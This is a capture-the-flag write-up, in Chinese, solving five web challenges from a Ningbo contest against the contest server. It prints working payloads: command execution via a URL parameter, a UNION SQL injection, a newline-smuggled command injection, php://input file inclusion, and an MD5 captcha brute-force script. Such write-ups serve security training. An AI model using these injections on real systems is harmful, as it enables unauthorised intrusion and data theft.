【宁波市赛】宁波市赛Web WriteUp

本文最后更新于:2021年8月18日下午1点46分

Web1 —— 简单的php

传payload:http://119.61.19.217:50070/exec.php?1=cat *

image-20210523121948390

flag为:flag{e0c256f9598f72dc1e6172082173636d}

Web2 —— index

访问index.php~获得源代码

image-20210523122459062

userpass两个变量POST传参

联合注入,POST传参如下

user=1' and 1=2 union select concat('63a9f0ea7bb98050796b649e85481845')# &pass=root

image-20210523122716202

得到flagflag{86bfd16fb36db5b530a5016fb1a036ed}

Web3 —— GetFlag

打开题目界面如下:

image-20210523122815757

写个脚本,跑一下第一位到第六位满足题目条件的captcha变量

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import hashlib
from multiprocessing.dummy import Pool as ThreadPool

# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=60b7ef

def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()


keymd5 = '8f5fb0' #已知的md5截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 6

def findmd5(sss): # 输入范围 里面会进行md5测试
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
# print(md5(i)[md5start:md5length])
if md5(i)[0:6] == keymd5: # 拿到加密字符串
result = i
print(result) # 打印
break


list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()

得到前六位md5加密后为8f5fb0的加密前的值为:36336430

image-20210523123139216

输入后提交,进入到下方这个页面

image-20210523123211092

ip进行get传参,打个RCE,注意,只能用%0a,不能用&|;

ls注入后,如下

image-20210523123349794

然后,cat flag.php

payload为:http://119.61.19.217:50071/4e6333ed08642de989aa4af8ec40941d.php?ip=127.0.0.1%0acat flag.php

image-20210523123411947

得到flag为:flag{82b83bd0760eb287946f224b6aa7fcdf}

Web4 —— Hello World

先用dirb扫一下

image-20210523123837479

访问http://119.61.19.217:51301/index.php

image-20210523123847309

访问:view-source:119.61.19.217:51301/.index.php.swp,有源码泄露

image-20210523124057330

访问view-source:http://119.61.19.217:51301/index.php?file=config.php

image-20210523124400829

最终对$test666变量传参,php伪协议

payload如下:

http://119.61.19.217:51301/index.php?file=php://input

传post:sss607

image-20210523124945964

flag如下:flag{32a2cb67e8abf133494140fbd35c0555}

image-20210523125126487

Web5 —— 文件管理系统

dirb扫一下,扫到http://119.61.19.217:50987/1.htaccess

image-20210523130658180

访问该页面

image-20210523130735654

看到有ctf_C1n_Fl4G,尝试访问一下,http://119.61.19.217:50987/ctf_C1n_Fl4G

image-20210523130900697

得到flagflag{1f0e324a69e357ed7ebc361889cbefa5}